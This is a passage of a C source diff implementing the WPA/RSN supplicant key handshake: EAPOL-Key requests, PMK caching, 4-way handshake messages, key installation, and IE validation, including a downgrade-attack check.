msg_len); + eapol_sm_notify_tx_eapol_key(sm->eapol); +out: + os_free(msg); +} + + +/** + * wpa_sm_key_request - Send EAPOL-Key Request + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @error: Indicate whether this is an Michael MIC error report + * @pairwise: 1 = error report for pairwise packet, 0 = for group packet + * + * Send an EAPOL-Key Request to the current authenticator. This function is + * used to request rekeying and it is usually called when a local Michael MIC + * failure is detected. + */ +void wpa_sm_key_request(struct wpa_sm *sm, int error, int pairwise) +{ + size_t rlen; + struct wpa_eapol_key *reply; + int key_info, ver; + u8 bssid[ETH_ALEN], *rbuf; + + if (wpa_key_mgmt_ft(sm->key_mgmt) || wpa_key_mgmt_sha256(sm->key_mgmt)) + ver = WPA_KEY_INFO_TYPE_AES_128_CMAC; + else if (sm->pairwise_cipher != WPA_CIPHER_TKIP) + ver = WPA_KEY_INFO_TYPE_HMAC_SHA1_AES; + else + ver = WPA_KEY_INFO_TYPE_HMAC_MD5_RC4; + + if (wpa_sm_get_bssid(sm, bssid) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "Failed to read BSSID for EAPOL-Key request"); + return; + } + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, NULL, + sizeof(*reply), &rlen, (void *) &reply); + if (rbuf == NULL) + return; + + reply->type = sm->proto == WPA_PROTO_RSN ? + EAPOL_KEY_TYPE_RSN : EAPOL_KEY_TYPE_WPA; + key_info = WPA_KEY_INFO_REQUEST | ver; + if (sm->ptk_set) + key_info |= WPA_KEY_INFO_MIC; + if (error) + key_info |= WPA_KEY_INFO_ERROR; + if (pairwise) + key_info |= WPA_KEY_INFO_KEY_TYPE; + WPA_PUT_BE16(reply->key_info, key_info); + WPA_PUT_BE16(reply->key_length, 0); + os_memcpy(reply->replay_counter, sm->request_counter, + WPA_REPLAY_COUNTER_LEN); + inc_byte_array(sm->request_counter, WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(reply->key_data_length, 0); + + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Sending EAPOL-Key Request (error=%d " + "pairwise=%d ptk_set=%d len=%lu)", + error, pairwise, sm->ptk_set, (unsigned long) rlen); + wpa_eapol_key_send(sm, sm->ptk.kck, ver, bssid, ETH_P_EAPOL, + rbuf, rlen, key_info & WPA_KEY_INFO_MIC ? + reply->key_mic : NULL); +} + + +static int wpa_supplicant_get_pmk(struct wpa_sm *sm, + const unsigned char *src_addr, + const u8 *pmkid) +{ + int abort_cached = 0; + + if (pmkid && !sm->cur_pmksa) { + /* When using drivers that generate RSN IE, wpa_supplicant may + * not have enough time to get the association information + * event before receiving this 1/4 message, so try to find a + * matching PMKSA cache entry here. */ + sm->cur_pmksa = pmksa_cache_get(sm->pmksa, src_addr, pmkid, + NULL); + if (sm->cur_pmksa) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: found matching PMKID from PMKSA cache"); + } else { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: no matching PMKID found"); + abort_cached = 1; + } + } + + if (pmkid && sm->cur_pmksa && + os_memcmp(pmkid, sm->cur_pmksa->pmkid, PMKID_LEN) == 0) { + wpa_hexdump(MSG_DEBUG, "RSN: matched PMKID", pmkid, PMKID_LEN); + wpa_sm_set_pmk_from_pmksa(sm); + wpa_hexdump_key(MSG_DEBUG, "RSN: PMK from PMKSA cache", + sm->pmk, sm->pmk_len); + eapol_sm_notify_cached(sm->eapol); +#ifdef CONFIG_IEEE80211R + sm->xxkey_len = 0; +#endif /* CONFIG_IEEE80211R */ + } else if (wpa_key_mgmt_wpa_ieee8021x(sm->key_mgmt) && sm->eapol) { + int res, pmk_len; + pmk_len = PMK_LEN; + res = eapol_sm_get_key(sm->eapol, sm->pmk, PMK_LEN); + if (res) { + /* + * EAP-LEAP is an exception from other EAP methods: it + * uses only 16-byte PMK. + */ + res = eapol_sm_get_key(sm->eapol, sm->pmk, 16); + pmk_len = 16; + } else { +#ifdef CONFIG_IEEE80211R + u8 buf[2 * PMK_LEN]; + if (eapol_sm_get_key(sm->eapol, buf, 2 * PMK_LEN) == 0) + { + os_memcpy(sm->xxkey, buf + PMK_LEN, PMK_LEN); + sm->xxkey_len = PMK_LEN; + os_memset(buf, 0, sizeof(buf)); + } +#endif /* CONFIG_IEEE80211R */ + } + if (res == 0) { + struct rsn_pmksa_cache_entry *sa = NULL; + wpa_hexdump_key(MSG_DEBUG, "WPA: PMK from EAPOL state " + "machines", sm->pmk, pmk_len); + sm->pmk_len = pmk_len; + if (sm->proto == WPA_PROTO_RSN && + !wpa_key_mgmt_ft(sm->key_mgmt)) { + sa = pmksa_cache_add(sm->pmksa, + sm->pmk, pmk_len, + src_addr, sm->own_addr, + sm->network_ctx, + sm->key_mgmt); + } + if (!sm->cur_pmksa && pmkid && + pmksa_cache_get(sm->pmksa, src_addr, pmkid, NULL)) + { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: the new PMK matches with the " + "PMKID"); + abort_cached = 0; + } + + if (!sm->cur_pmksa) + sm->cur_pmksa = sa; + } else { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to get master session key from " + "EAPOL state machines - key handshake " + "aborted"); + if (sm->cur_pmksa) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: Cancelled PMKSA caching " + "attempt"); + sm->cur_pmksa = NULL; + abort_cached = 1; + } else if (!abort_cached) { + return -1; + } + } + } + + if (abort_cached && wpa_key_mgmt_wpa_ieee8021x(sm->key_mgmt) && + !wpa_key_mgmt_ft(sm->key_mgmt)) { + /* Send EAPOL-Start to trigger full EAP authentication. */ + u8 *buf; + size_t buflen; + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: no PMKSA entry found - trigger " + "full EAP authentication"); + buf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_START, + NULL, 0, &buflen, NULL); + if (buf) { + wpa_sm_ether_send(sm, sm->bssid, ETH_P_EAPOL, + buf, buflen); + os_free(buf); + return -2; + } + + return -1; + } + + return 0; +} + + +/** + * wpa_supplicant_send_2_of_4 - Send message 2 of WPA/RSN 4-Way Handshake + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @dst: Destination address for the frame + * @key: Pointer to the EAPOL-Key frame header + * @ver: Version bits from EAPOL-Key Key Info + * @nonce: Nonce value for the EAPOL-Key frame + * @wpa_ie: WPA/RSN IE + * @wpa_ie_len: Length of the WPA/RSN IE + * @ptk: PTK to use for keyed hash and encryption + * Returns: 0 on success, -1 on failure + */ +int wpa_supplicant_send_2_of_4(struct wpa_sm *sm, const unsigned char *dst, + const struct wpa_eapol_key *key, + int ver, const u8 *nonce, + const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ptk *ptk) +{ + size_t rlen; + struct wpa_eapol_key *reply; + u8 *rbuf; + u8 *rsn_ie_buf = NULL; + + if (wpa_ie == NULL) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, "WPA: No wpa_ie set - " + "cannot generate msg 2/4"); + return -1; + } + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->key_mgmt)) { + int res; + + /* + * Add PMKR1Name into RSN IE (PMKID-List) and add MDIE and + * FTIE from (Re)Association Response. + */ + rsn_ie_buf = os_malloc(wpa_ie_len + 2 + 2 + PMKID_LEN + + sm->assoc_resp_ies_len); + if (rsn_ie_buf == NULL) + return -1; + os_memcpy(rsn_ie_buf, wpa_ie, wpa_ie_len); + res = wpa_insert_pmkid(rsn_ie_buf, wpa_ie_len, + sm->pmk_r1_name); + if (res < 0) { + os_free(rsn_ie_buf); + return -1; + } + wpa_ie_len += res; + + if (sm->assoc_resp_ies) { + os_memcpy(rsn_ie_buf + wpa_ie_len, sm->assoc_resp_ies, + sm->assoc_resp_ies_len); + wpa_ie_len += sm->assoc_resp_ies_len; + } + + wpa_ie = rsn_ie_buf; + } +#endif /* CONFIG_IEEE80211R */ + + wpa_hexdump(MSG_DEBUG, "WPA: WPA IE for msg 2/4", wpa_ie, wpa_ie_len); + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, + NULL, sizeof(*reply) + wpa_ie_len, + &rlen, (void *) &reply); + if (rbuf == NULL) { + os_free(rsn_ie_buf); + return -1; + } + + reply->type = sm->proto == WPA_PROTO_RSN ? + EAPOL_KEY_TYPE_RSN : EAPOL_KEY_TYPE_WPA; + WPA_PUT_BE16(reply->key_info, + ver | WPA_KEY_INFO_KEY_TYPE | WPA_KEY_INFO_MIC); + if (sm->proto == WPA_PROTO_RSN) + WPA_PUT_BE16(reply->key_length, 0); + else + os_memcpy(reply->key_length, key->key_length, 2); + os_memcpy(reply->replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + wpa_hexdump(MSG_DEBUG, "WPA: Replay Counter", reply->replay_counter, + WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(reply->key_data_length, wpa_ie_len); + os_memcpy(reply + 1, wpa_ie, wpa_ie_len); + os_free(rsn_ie_buf); + + os_memcpy(reply->key_nonce, nonce, WPA_NONCE_LEN); + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Sending EAPOL-Key 2/4"); + wpa_eapol_key_send(sm, ptk->kck, ver, dst, ETH_P_EAPOL, + rbuf, rlen, reply->key_mic); + + return 0; +} + + +static int wpa_derive_ptk(struct wpa_sm *sm, const unsigned char *src_addr, + const struct wpa_eapol_key *key, + struct wpa_ptk *ptk) +{ + size_t ptk_len = sm->pairwise_cipher != WPA_CIPHER_TKIP ? 48 : 64; +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->key_mgmt)) + return wpa_derive_ptk_ft(sm, src_addr, key, ptk, ptk_len); +#endif /* CONFIG_IEEE80211R */ + + wpa_pmk_to_ptk(sm->pmk, sm->pmk_len, "Pairwise key expansion", + sm->own_addr, sm->bssid, sm->snonce, key->key_nonce, + (u8 *) ptk, ptk_len, + wpa_key_mgmt_sha256(sm->key_mgmt)); + return 0; +} + + +static void wpa_supplicant_process_1_of_4(struct wpa_sm *sm, + const unsigned char *src_addr, + const struct wpa_eapol_key *key, + u16 ver) +{ + struct wpa_eapol_ie_parse ie; + struct wpa_ptk *ptk; + u8 buf[8]; + int res; + + if (wpa_sm_get_network_ctx(sm) == NULL) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, "WPA: No SSID info " + "found (msg 1 of 4)"); + return; + } + + wpa_sm_set_state(sm, WPA_4WAY_HANDSHAKE); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: RX message 1 of 4-Way " + "Handshake from " MACSTR " (ver=%d)", MAC2STR(src_addr), ver); + + os_memset(&ie, 0, sizeof(ie)); + + if (sm->proto == WPA_PROTO_RSN) { + /* RSN: msg 1/4 should contain PMKID for the selected PMK */ + const u8 *_buf = (const u8 *) (key + 1); + size_t len = WPA_GET_BE16(key->key_data_length); + wpa_hexdump(MSG_DEBUG, "RSN: msg 1/4 key data", _buf, len); + if (wpa_supplicant_parse_ies(_buf, len, &ie) < 0) + goto failed; + if (ie.pmkid) { + wpa_hexdump(MSG_DEBUG, "RSN: PMKID from " + "Authenticator", ie.pmkid, PMKID_LEN); + } + } + + res = wpa_supplicant_get_pmk(sm, src_addr, ie.pmkid); + if (res == -2) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: Do not reply to " + "msg 1/4 - requesting full EAP authentication"); + return; + } + if (res) + goto failed; + + if (sm->renew_snonce) { + if (random_get_bytes(sm->snonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to get random data for SNonce"); + goto failed; + } + sm->renew_snonce = 0; + wpa_hexdump(MSG_DEBUG, "WPA: Renewed SNonce", + sm->snonce, WPA_NONCE_LEN); + } + + /* Calculate PTK which will be stored as a temporary PTK until it has + * been verified when processing message 3/4. */ + ptk = &sm->tptk; + wpa_derive_ptk(sm, src_addr, key, ptk); + /* Supplicant: swap tx/rx Mic keys */ + os_memcpy(buf, ptk->u.auth.tx_mic_key, 8); + os_memcpy(ptk->u.auth.tx_mic_key, ptk->u.auth.rx_mic_key, 8); + os_memcpy(ptk->u.auth.rx_mic_key, buf, 8); + sm->tptk_set = 1; + + if (wpa_supplicant_send_2_of_4(sm, sm->bssid, key, ver, sm->snonce, + sm->assoc_wpa_ie, sm->assoc_wpa_ie_len, + ptk)) + goto failed; + + os_memcpy(sm->anonce, key->key_nonce, WPA_NONCE_LEN); + return; + +failed: + wpa_sm_deauthenticate(sm, WLAN_REASON_UNSPECIFIED); +} + + +static void wpa_sm_start_preauth(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_sm *sm = eloop_ctx; + rsn_preauth_candidate_process(sm); +} + + +static void wpa_supplicant_key_neg_complete(struct wpa_sm *sm, + const u8 *addr, int secure) +{ + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Key negotiation completed with " + MACSTR " [PTK=%s GTK=%s]", MAC2STR(addr), + wpa_cipher_txt(sm->pairwise_cipher), + wpa_cipher_txt(sm->group_cipher)); + wpa_sm_cancel_auth_timeout(sm); + wpa_sm_set_state(sm, WPA_COMPLETED); + + if (secure) { + wpa_sm_mlme_setprotection( + sm, addr, MLME_SETPROTECTION_PROTECT_TYPE_RX_TX, + MLME_SETPROTECTION_KEY_TYPE_PAIRWISE); + eapol_sm_notify_portValid(sm->eapol, TRUE); + if (wpa_key_mgmt_wpa_psk(sm->key_mgmt)) + eapol_sm_notify_eap_success(sm->eapol, TRUE); + /* + * Start preauthentication after a short wait to avoid a + * possible race condition between the data receive and key + * configuration after the 4-Way Handshake. This increases the + * likelihood of the first preauth EAPOL-Start frame getting to + * the target AP. + */ + eloop_register_timeout(1, 0, wpa_sm_start_preauth, sm, NULL); + } + + if (sm->cur_pmksa && sm->cur_pmksa->opportunistic) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: Authenticator accepted " + "opportunistic PMKSA entry - marking it valid"); + sm->cur_pmksa->opportunistic = 0; + } + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->key_mgmt)) { + /* Prepare for the next transition */ + wpa_ft_prepare_auth_request(sm, NULL); + } +#endif /* CONFIG_IEEE80211R */ +} + + +static void wpa_sm_rekey_ptk(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_sm *sm = eloop_ctx; + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Request PTK rekeying"); + wpa_sm_key_request(sm, 0, 1); +} + + +static int wpa_supplicant_install_ptk(struct wpa_sm *sm, + const struct wpa_eapol_key *key) +{ + int keylen, rsclen; + enum wpa_alg alg; + const u8 *key_rsc; + u8 null_rsc[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: Installing PTK to the driver"); + + if (sm->pairwise_cipher == WPA_CIPHER_NONE) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Pairwise Cipher " + "Suite: NONE - do not use pairwise keys"); + return 0; + } + + if (!wpa_cipher_valid_pairwise(sm->pairwise_cipher)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported pairwise cipher %d", + sm->pairwise_cipher); + return -1; + } + + alg = wpa_cipher_to_alg(sm->pairwise_cipher); + keylen = wpa_cipher_key_len(sm->pairwise_cipher); + rsclen = wpa_cipher_rsc_len(sm->pairwise_cipher); + + if (sm->proto == WPA_PROTO_RSN) { + key_rsc = null_rsc; + } else { + key_rsc = key->key_rsc; + wpa_hexdump(MSG_DEBUG, "WPA: RSC", key_rsc, rsclen); + } + + if (wpa_sm_set_key(sm, alg, sm->bssid, 0, 1, key_rsc, rsclen, + (u8 *) sm->ptk.tk1, keylen) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to set PTK to the " + "driver (alg=%d keylen=%d bssid=" MACSTR ")", + alg, keylen, MAC2STR(sm->bssid)); + return -1; + } + + if (sm->wpa_ptk_rekey) { + eloop_cancel_timeout(wpa_sm_rekey_ptk, sm, NULL); + eloop_register_timeout(sm->wpa_ptk_rekey, 0, wpa_sm_rekey_ptk, + sm, NULL); + } + + return 0; +} + + +static int wpa_supplicant_check_group_cipher(struct wpa_sm *sm, + int group_cipher, + int keylen, int maxkeylen, + int *key_rsc_len, + enum wpa_alg *alg) +{ + int klen; + + *alg = wpa_cipher_to_alg(group_cipher); + if (*alg == WPA_ALG_NONE) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported Group Cipher %d", + group_cipher); + return -1; + } + *key_rsc_len = wpa_cipher_rsc_len(group_cipher); + + klen = wpa_cipher_key_len(group_cipher); + if (keylen != klen || maxkeylen < klen) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported %s Group Cipher key length %d (%d)", + wpa_cipher_txt(group_cipher), keylen, maxkeylen); + return -1; + } + return 0; +} + + +struct wpa_gtk_data { + enum wpa_alg alg; + int tx, key_rsc_len, keyidx; + u8 gtk[32]; + int gtk_len; +}; + + +static int wpa_supplicant_install_gtk(struct wpa_sm *sm, + const struct wpa_gtk_data *gd, + const u8 *key_rsc) +{ + const u8 *_gtk = gd->gtk; + u8 gtk_buf[32]; + + wpa_hexdump_key(MSG_DEBUG, "WPA: Group Key", gd->gtk, gd->gtk_len); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: Installing GTK to the driver (keyidx=%d tx=%d len=%d)", + gd->keyidx, gd->tx, gd->gtk_len); + wpa_hexdump(MSG_DEBUG, "WPA: RSC", key_rsc, gd->key_rsc_len); + if (sm->group_cipher == WPA_CIPHER_TKIP) { + /* Swap Tx/Rx keys for Michael MIC */ + os_memcpy(gtk_buf, gd->gtk, 16); + os_memcpy(gtk_buf + 16, gd->gtk + 24, 8); + os_memcpy(gtk_buf + 24, gd->gtk + 16, 8); + _gtk = gtk_buf; + } + if (sm->pairwise_cipher == WPA_CIPHER_NONE) { + if (wpa_sm_set_key(sm, gd->alg, NULL, + gd->keyidx, 1, key_rsc, gd->key_rsc_len, + _gtk, gd->gtk_len) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to set GTK to the driver " + "(Group only)"); + return -1; + } + } else if (wpa_sm_set_key(sm, gd->alg, broadcast_ether_addr, + gd->keyidx, gd->tx, key_rsc, gd->key_rsc_len, + _gtk, gd->gtk_len) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to set GTK to " + "the driver (alg=%d keylen=%d keyidx=%d)", + gd->alg, gd->gtk_len, gd->keyidx); + return -1; + } + + return 0; +} + + +static int wpa_supplicant_gtk_tx_bit_workaround(const struct wpa_sm *sm, + int tx) +{ + if (tx && sm->pairwise_cipher != WPA_CIPHER_NONE) { + /* Ignore Tx bit for GTK if a pairwise key is used. One AP + * seemed to set this bit (incorrectly, since Tx is only when + * doing Group Key only APs) and without this workaround, the + * data connection does not work because wpa_supplicant + * configured non-zero keyidx to be used for unicast. */ + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Tx bit set for GTK, but pairwise " + "keys are used - ignore Tx bit"); + return 0; + } + return tx; +} + + +static int wpa_supplicant_pairwise_gtk(struct wpa_sm *sm, + const struct wpa_eapol_key *key, + const u8 *gtk, size_t gtk_len, + int key_info) +{ + struct wpa_gtk_data gd; + + /* + * IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames - Figure 43x + * GTK KDE format: + * KeyID[bits 0-1], Tx [bit 2], Reserved [bits 3-7] + * Reserved [bits 0-7] + * GTK + */ + + os_memset(&gd, 0, sizeof(gd)); + wpa_hexdump_key(MSG_DEBUG, "RSN: received GTK in pairwise handshake", + gtk, gtk_len); + + if (gtk_len < 2 || gtk_len - 2 > sizeof(gd.gtk)) + return -1; + + gd.keyidx = gtk[0] & 0x3; + gd.tx = wpa_supplicant_gtk_tx_bit_workaround(sm, + !!(gtk[0] & BIT(2))); + gtk += 2; + gtk_len -= 2; + + os_memcpy(gd.gtk, gtk, gtk_len); + gd.gtk_len = gtk_len; + + if (wpa_supplicant_check_group_cipher(sm, sm->group_cipher, + gtk_len, gtk_len, + &gd.key_rsc_len, &gd.alg) || + wpa_supplicant_install_gtk(sm, &gd, key->key_rsc)) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: Failed to install GTK"); + return -1; + } + + wpa_supplicant_key_neg_complete(sm, sm->bssid, + key_info & WPA_KEY_INFO_SECURE); + return 0; +} + + +static int ieee80211w_set_keys(struct wpa_sm *sm, + struct wpa_eapol_ie_parse *ie) +{ +#ifdef CONFIG_IEEE80211W + if (sm->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) + return 0; + + if (ie->igtk) { + const struct wpa_igtk_kde *igtk; + u16 keyidx; + if (ie->igtk_len != sizeof(*igtk)) + return -1; + igtk = (const struct wpa_igtk_kde *) ie->igtk; + keyidx = WPA_GET_LE16(igtk->keyid); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: IGTK keyid %d " + "pn %02x%02x%02x%02x%02x%02x", + keyidx, MAC2STR(igtk->pn)); + wpa_hexdump_key(MSG_DEBUG, "WPA: IGTK", + igtk->igtk, WPA_IGTK_LEN); + if (keyidx > 4095) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Invalid IGTK KeyID %d", keyidx); + return -1; + } + if (wpa_sm_set_key(sm, WPA_ALG_IGTK, broadcast_ether_addr, + keyidx, 0, igtk->pn, sizeof(igtk->pn), + igtk->igtk, WPA_IGTK_LEN) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to configure IGTK to the driver"); + return -1; + } + } + + return 0; +#else /* CONFIG_IEEE80211W */ + return 0; +#endif /* CONFIG_IEEE80211W */ +} + + +static void wpa_report_ie_mismatch(struct wpa_sm *sm, + const char *reason, const u8 *src_addr, + const u8 *wpa_ie, size_t wpa_ie_len, + const u8 *rsn_ie, size_t rsn_ie_len) +{ + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, "WPA: %s (src=" MACSTR ")", + reason, MAC2STR(src_addr)); + + if (sm->ap_wpa_ie) { + wpa_hexdump(MSG_INFO, "WPA: WPA IE in Beacon/ProbeResp", + sm->ap_wpa_ie, sm->ap_wpa_ie_len); + } + if (wpa_ie) { + if (!sm->ap_wpa_ie) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: No WPA IE in Beacon/ProbeResp"); + } + wpa_hexdump(MSG_INFO, "WPA: WPA IE in 3/4 msg", + wpa_ie, wpa_ie_len); + } + + if (sm->ap_rsn_ie) { + wpa_hexdump(MSG_INFO, "WPA: RSN IE in Beacon/ProbeResp", + sm->ap_rsn_ie, sm->ap_rsn_ie_len); + } + if (rsn_ie) { + if (!sm->ap_rsn_ie) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: No RSN IE in Beacon/ProbeResp"); + } + wpa_hexdump(MSG_INFO, "WPA: RSN IE in 3/4 msg", + rsn_ie, rsn_ie_len); + } + + wpa_sm_deauthenticate(sm, WLAN_REASON_IE_IN_4WAY_DIFFERS); +} + + +#ifdef CONFIG_IEEE80211R + +static int ft_validate_mdie(struct wpa_sm *sm, + const unsigned char *src_addr, + struct wpa_eapol_ie_parse *ie, + const u8 *assoc_resp_mdie) +{ + struct rsn_mdie *mdie; + + mdie = (struct rsn_mdie *) (ie->mdie + 2); + if (ie->mdie == NULL || ie->mdie_len < 2 + sizeof(*mdie) || + os_memcmp(mdie->mobility_domain, sm->mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "FT: MDIE in msg 3/4 did " + "not match with the current mobility domain"); + return -1; + } + + if (assoc_resp_mdie && + (assoc_resp_mdie[1] != ie->mdie[1] || + os_memcmp(assoc_resp_mdie, ie->mdie, 2 + ie->mdie[1]) != 0)) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "FT: MDIE mismatch"); + wpa_hexdump(MSG_DEBUG, "FT: MDIE in EAPOL-Key msg 3/4", + ie->mdie, 2 + ie->mdie[1]); + wpa_hexdump(MSG_DEBUG, "FT: MDIE in (Re)Association Response", + assoc_resp_mdie, 2 + assoc_resp_mdie[1]); + return -1; + } + + return 0; +} + + +static int ft_validate_ftie(struct wpa_sm *sm, + const unsigned char *src_addr, + struct wpa_eapol_ie_parse *ie, + const u8 *assoc_resp_ftie) +{ + if (ie->ftie == NULL) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "FT: No FTIE in EAPOL-Key msg 3/4"); + return -1; + } + + if (assoc_resp_ftie == NULL) + return 0; + + if (assoc_resp_ftie[1] != ie->ftie[1] || + os_memcmp(assoc_resp_ftie, ie->ftie, 2 + ie->ftie[1]) != 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "FT: FTIE mismatch"); + wpa_hexdump(MSG_DEBUG, "FT: FTIE in EAPOL-Key msg 3/4", + ie->ftie, 2 + ie->ftie[1]); + wpa_hexdump(MSG_DEBUG, "FT: FTIE in (Re)Association Response", + assoc_resp_ftie, 2 + assoc_resp_ftie[1]); + return -1; + } + + return 0; +} + + +static int ft_validate_rsnie(struct wpa_sm *sm, + const unsigned char *src_addr, + struct wpa_eapol_ie_parse *ie) +{ + struct wpa_ie_data rsn; + + if (!ie->rsn_ie) + return 0; + + /* + * Verify that PMKR1Name from EAPOL-Key message 3/4 + * matches with the value we derived. + */ + if (wpa_parse_wpa_ie_rsn(ie->rsn_ie, ie->rsn_ie_len, &rsn) < 0 || + rsn.num_pmkid != 1 || rsn.pmkid == NULL) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "FT: No PMKR1Name in " + "FT 4-way handshake message 3/4"); + return -1; + } + + if (os_memcmp(rsn.pmkid, sm->pmk_r1_name, WPA_PMK_NAME_LEN) != 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "FT: PMKR1Name mismatch in " + "FT 4-way handshake message 3/4"); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name from Authenticator", + rsn.pmkid, WPA_PMK_NAME_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Derived PMKR1Name", + sm->pmk_r1_name, WPA_PMK_NAME_LEN); + return -1; + } + + return 0; +} + + +static int wpa_supplicant_validate_ie_ft(struct wpa_sm *sm, + const unsigned char *src_addr, + struct wpa_eapol_ie_parse *ie) +{ + const u8 *pos, *end, *mdie = NULL, *ftie = NULL; + + if (sm->assoc_resp_ies) { + pos = sm->assoc_resp_ies; + end = pos + sm->assoc_resp_ies_len; + while (pos + 2 < end) { + if (pos + 2 + pos[1] > end) + break; + switch (*pos) { + case WLAN_EID_MOBILITY_DOMAIN: + mdie = pos; + break; + case WLAN_EID_FAST_BSS_TRANSITION: + ftie = pos; + break; + } + pos += 2 + pos[1]; + } + } + + if (ft_validate_mdie(sm, src_addr, ie, mdie) < 0 || + ft_validate_ftie(sm, src_addr, ie, ftie) < 0 || + ft_validate_rsnie(sm, src_addr, ie) < 0) + return -1; + + return 0; +} + +#endif /* CONFIG_IEEE80211R */ + + +static int wpa_supplicant_validate_ie(struct wpa_sm *sm, + const unsigned char *src_addr, + struct wpa_eapol_ie_parse *ie) +{ + if (sm->ap_wpa_ie == NULL && sm->ap_rsn_ie == NULL) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: No WPA/RSN IE for this AP known. " + "Trying to get from scan results"); + if (wpa_sm_get_beacon_ie(sm) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Could not find AP from " + "the scan results"); + } else { + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: Found the current AP from " + "updated scan results"); + } + } + + if (ie->wpa_ie == NULL && ie->rsn_ie == NULL && + (sm->ap_wpa_ie || sm->ap_rsn_ie)) { + wpa_report_ie_mismatch(sm, "IE in 3/4 msg does not match " + "with IE in Beacon/ProbeResp (no IE?)", + src_addr, ie->wpa_ie, ie->wpa_ie_len, + ie->rsn_ie, ie->rsn_ie_len); + return -1; + } + + if ((ie->wpa_ie && sm->ap_wpa_ie && + (ie->wpa_ie_len != sm->ap_wpa_ie_len || + os_memcmp(ie->wpa_ie, sm->ap_wpa_ie, ie->wpa_ie_len) != 0)) || + (ie->rsn_ie && sm->ap_rsn_ie && + wpa_compare_rsn_ie(wpa_key_mgmt_ft(sm->key_mgmt), + sm->ap_rsn_ie, sm->ap_rsn_ie_len, + ie->rsn_ie, ie->rsn_ie_len))) { + wpa_report_ie_mismatch(sm, "IE in 3/4 msg does not match " + "with IE in Beacon/ProbeResp", + src_addr, ie->wpa_ie, ie->wpa_ie_len, + ie->rsn_ie, ie->rsn_ie_len); + return -1; + } + + if (sm->proto == WPA_PROTO_WPA && + ie->rsn_ie && sm->ap_rsn_ie == NULL && sm->rsn_enabled) { + wpa_report_ie_mismatch(sm, "Possible downgrade attack " + "detected - RSN was enabled and RSN IE " + "was in msg 3/4, but not in " + "Beacon/ProbeResp", + src_addr, ie->wpa_ie, ie->wpa_ie_len, + ie->rsn_ie, ie->rsn_ie_len); + return -1; + } + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->key_mgmt) && + wpa_supplicant_validate_ie_ft(sm, src_addr, ie) < 